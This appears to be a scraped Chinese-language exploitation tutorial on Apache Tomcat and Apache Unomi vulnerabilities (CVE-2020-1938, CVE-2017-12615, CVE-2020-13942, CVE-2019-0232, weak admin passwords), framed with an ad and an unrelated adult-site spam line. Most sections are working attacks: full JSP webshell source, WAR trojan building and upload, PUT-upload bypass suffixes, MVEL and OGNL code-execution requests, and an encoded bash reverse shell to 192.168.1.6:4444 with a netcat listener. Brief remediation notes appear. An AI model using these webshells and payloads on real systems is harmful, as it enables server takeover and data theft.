<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                企業??AI智能體構建引擎,智能編排和調試,一鍵部署,支持知識庫和私有化部署方案 廣告
                # Tomcat常見的漏洞總結 ## 0、CVE-2020-1938文件包含漏洞 **漏洞描述** 該漏洞是由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件,如:webapp配置文件或源代碼等。若目標服務器同時存在文件上傳功能,攻擊者可進一步實現遠程代碼執行。 **漏洞影響版本** >Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 **不受影響版本** >Apache Tomcat = 7.0.100 Apache Tomcat = 8.5.51 Apache Tomcat = 9.0.31 **漏洞分析** Tomcat在處理ajp協議時存在漏洞,可通過調用request.setAttribute為Tomcat設置任意request屬性。 當ajp URI設置為非jsp路徑時,Tomcat會調用DefaultServlet處理,此時會導致web目錄任意文件讀取漏洞。 當ajp URI設置為jsp路徑時,Tomcat會調用JspServlet處理,此時會導致JSP文件包含漏洞 **漏洞復現** 1. 使用nmap掃描目標是否開啟了8009端口 2. 使用poc掃描目標網站 下載地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi 命令:`python xx.py 192.x.x.x -p 8009 -f WEB-INF/web.xml` 3. 默認是讀取ROOT路徑下的web.xml 如果想換路徑需要更改POC源碼里的`perform_request`的位置只能在webapps下的) **防御方式** 1. 禁用AJP協議 在tomcat安裝路徑中找到/conf/server.xml文件,刪除或注釋下面這行代碼: `<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />` 2. 升級到tomcat最新版本 3. 配置secret來設置AJP協議的認證憑證,如: ```xml <Connector port="8009"protocol="AJP/1.3" redirectPort="8443" address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/> ``` ## 1、Tomcat后臺弱口令漏洞 Tomcat后臺存在弱口令,進入網站后點擊登錄然后使用burp進行爆破測試,可發現賬戶密碼字段:`Authorization: Basic YWRtaW46YWRtaW4=`,解密后發現是用base64加密的`uaername:password` **爆破方式:** 1. 使用burp抓包后發送到 Intrude 模塊進行暴力破解 2. 使用burp模糊測試模塊中的`custom iteactor`自定義迭代類型的payload 該類型的payload共分為8個占位符,每一個占位符又可以指定簡單列表的payload類型。再根據占位的數值,于每一個payload列表區進行笛卡爾積生成集合組 3. 設置格式 設置第一個Position參數就是username參數,然后再進行添加paylaod字典。第二個參數就是冒號 : 第三個就是password字段。設置完成后再對數據字段進行base64編碼就可以進行爆破。 4. 成功爆破出賬號密碼,然后使用base64解碼得出明文賬號密碼 5. 使用爆破出的賬號密碼登錄進去后臺后發現有一個上傳頁面,直接上傳一個war木馬就可以 ## 2、war木馬的制作過程 1. 找到一個jsp的木馬 ``` <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> ``` 2. 將jsp木馬放入 jdk1.8.0_73的bin目錄下,然后在cmd輸出以下命令 注意是必須在java環境下的,必須使用管理員權限的 ``` jar cvf +部署的war木馬 +自己bin目錄下的jsp木馬 ``` 3. 木馬制作成功,上傳制作的war木馬 4. 驗證已經成功上傳了木馬 `x.x.x.x:51135/shell/1.jsp?pwd=023&i=ls` ## 3、CVE-2017-12615Tomcat遠程代碼執行漏洞(PUT請求) **漏洞介紹** 當 Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT 請求方法,攻擊者通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執行,危害十分嚴重 **影響版本** Apache Tomcat 7.0.0 - 7.0.81 **漏洞利用前提:** 需Tomcat開啟了HTTP PUT請求 **漏洞原理分析** Tomcat 的 Servlet 是在 conf/web.xml 配置的,通過配置文件可知,當后綴名為 .jsp 和 .jspx 的時候,是通過 JspServlet 處理請求的;而其他的靜態文件是通過 DefaultServlet 處理的。可知'1.jsp '(末尾有空格)并不能匹配到 JspServlet,而是會交由 DefaultServlet 去處理。 當處理 PUT 請求時,會調用 `resources.bind:dirContext `為 FileDirContext調用 rebind 創建文件,又由于 Windows 不允許空格作為文件名結尾,所以會創建一個 .jsp 文件,導致代碼執行。 **環境搭建** 下載Tomcat,安裝成功后,需要開啟HTTP PUT請求,首先打開Tomcat目錄,找到配置文件`conf/web` 打開之后,`org.apache.catalina.servlets.DefaultServlet` 方法,并添加以下命令,添加成功后重啟一下即可 ``` <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> ``` **漏洞復現** 1. 使用burp進行抓包,將請求包發送到repeater模塊中,將GET請求方法改為OPTIONS,查看請求方法 2. 發現啟用了PUT方法,使用PUT請求上傳jsp木馬 ```jsp <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null;while ((temp = buf.readLine()) != null) { line.append(temp+"\n");}buf.close();} catch (Exception e) { line.append(e.getMessage());}return line.toString();}%> <%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){ out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%> ``` 3. 頁面狀態碼返回201,表示木馬寫入成功 4. 到頁面中訪問(ip+1.jsp) url: http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023 5. 該漏洞實際上是利用了window下文件名解析的漏洞來觸發的。 通過構造特殊后綴名,繞過Tomcat檢測,讓Tomcat用DefaultServlet的邏輯處理請求,從而上傳jsp webshell文件 ``` # 有三種方法可以進行繞過 shell.jsp%20 shell.jsp::$DATA shell.jsp/ ``` ## 4、CVE-2020-13942 Apache Unomi 遠程代碼執行漏洞 **Apache Unomi簡介** Apache Unomi 是一個基于標準的客戶數據平臺(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初于 Jahia 開發,2015 年 10 月 Unomi 成為Apache 軟件基金會項目 **漏洞描述** 在Apache Unomi 1.5.1版本之前,攻擊者可以通過精心構造的MVEL或ONGl表達式來發送惡意請求,使得Unomi服務器執行任意代碼,漏洞對應編號為CVE-2020-11975,而CVE-2020-13942漏洞是對CVE-2020-11975漏洞的補丁繞過,攻擊者繞過補丁檢測的黑名單,發送惡意請求,在服務器執行任意代碼 **漏洞影響版本** Apache Unomi < 1.5.2 **環境搭建** 使用docker一鍵搭建的vulhub靶場,訪問頁面 ip:8181 通過8181和9443兩個端口都可以觸發漏洞,本次使用 8181端口進行漏洞復現 **漏洞復現** 1. 打開靶場首頁,使用bp進行抓包,發送到Repeater模塊構造數據包 2. 修改數據包 將GET請求改為POST請求; 刪除多余的字段,保留HOST、User-Agent、Content-Length字段; 然后添加以下數據,將dnslog換為自己的地址。 ``` POST /context.json HTTP/1.1 Host: 目標地址:8181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Content-Length: 495 { "filters": [ { "id": "boom", "filters": [ { "condition": { "parameterValues": { "test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping br9yb9.dnslog.cn\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "test" } ``` 3. 發送數據包,然后到dnslog中查看解析記錄 4. 可以使用此漏洞來反彈shell,將bash反彈shell的命令進行編碼,編碼在線地址為 http://www.jackson-t.ca/runtime-exec-payloads.html ``` bash -i >& /dev/tcp/192.168.1.6/4444 0>&1 #編碼后為 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i} ``` 4. 將編碼后的shell添加到以下poc的`r.exec`關鍵字地方 () ``` POST /context.json HTTP/1.1 Host: localhost:8181 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 483 { "filters": [ { "id": "sample", "filters": [ { "condition": { "parameterValues": { "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");" }, "type": "profilePropertyCondition" } } ] } ], "sessionId": "sample" } ``` 5. nc監聽,接收反彈shell`nc -lvp 4444` 上面使用的是通過MVEL表達式執行任意命令,下面使用OGNL表達式執行任意命令 在漏洞首頁抓取請求包然后發送到Repeater模塊中構造數據包,構造的poc如下 ``` POST /context.json HTTP/1.1 Host: localhost:8181 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 1064 { "personalizations":[ { "id":"gender-test", "strategy":"matching-first", "strategyOptions":{ "fallback":"var2" }, "contents":[ { "filters":[ { "condition":{ "parameterValues":{ "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")). (#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]). (#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters() [0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]). (#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))", "comparisonOperator":"equals", "propertyValue":"male" }, "type":"profilePropertyCondition" } } ] } ] } ], "sessionId":"sample" } ``` 提交后可以看到成功在 /tmp/ 目錄下成功創建了一個文件,也可以利用這個漏洞反彈shell ![c134e20a187845bdf0b4a70703092b00.png](../../_resources/c1e4b8fb0f254267baadd8b7538d9280.png) ## 5、CVE-2019-0232 Apache Tomcat遠程代碼執行漏洞 **漏洞描述** 該漏洞只對Windows平臺有效,攻擊者向CGI Servlet發送請求,可在具有Apache Tomcat權限的系統上注入和執行任意操作系統命令。 漏洞成因是當將參數從JRE傳遞到Windows環境時,由于CGI_Servlet中的輸入驗證錯誤而存在該漏洞。CGI_Servlet默認是關閉的 **漏洞影響范圍** >Apache Tomcat 9.0.0.M1 ~ 9.0.17 Apache Tomcat 8.5.0 ~ 8.5.39 Apache Tomcat 7.0.0 ~ 7.0.93 環境搭建 **環境:Java8+Apache Tomcat 8.5.39** 1. 安裝tomcat需要java環境,jdk下載地址(https://www.oracle.com/java/technologies/javase-downloads.html) 2. 下載完后配置環境變量,輸出java -version驗證是否配置成功 3. 安裝tomcat8.5.39版本 下載地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/) 4. 下載完成后進行解壓然后配置tomcat, 打開Tomcat按目錄下的conf/web.xml 取消以下兩項的注釋,否則訪問cgi目錄會提示404 ```xml <servlet> <servlet-name>cgi</servlet-name> <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>cgiPathPrefix</param-name> <param-value>WEB-INF/cgi-bin</param-value> </init-param> <init-param> <param-name>executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5</load-on-startup> </servlet> <!-- The mapping for the CGI Gateway servlet --> <servlet-mapping> <servlet-name>cgi</servlet-name> <url-pattern>/cgi-bin/*</url-pattern> </servlet-mapping> ``` 5. 修改在conf/context.xml中的`<Context>`,添加privileged="true"語句 6. 在webapps/ROOT/WEB-INF下創建一個cgi-bin文件夾,并在文件夾內創建一個test.bat ```bat @echo off echo Content-type: text/plain echo. set off=%~` %off% ``` 7. 都配置完成之后進入bin目錄下運行startup.bat啟動tomcat 8. 訪問搭建后的頁面,若出現tomcat頁面則說明搭建成功 **漏洞復現** 1. 在瀏覽器訪問,執行net user 命令 ``` http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user ``` 2. 執行whoami命令 ``` http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe ``` **漏洞修復** 受影響版本的用戶應該應用下列其中一項緩解。升級到: >Apache Tomcat 9.0.18或更高版本 Apache Tomcat 8.5.40或更高版本 Apache Tomcat 7.0.93或更高版本
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看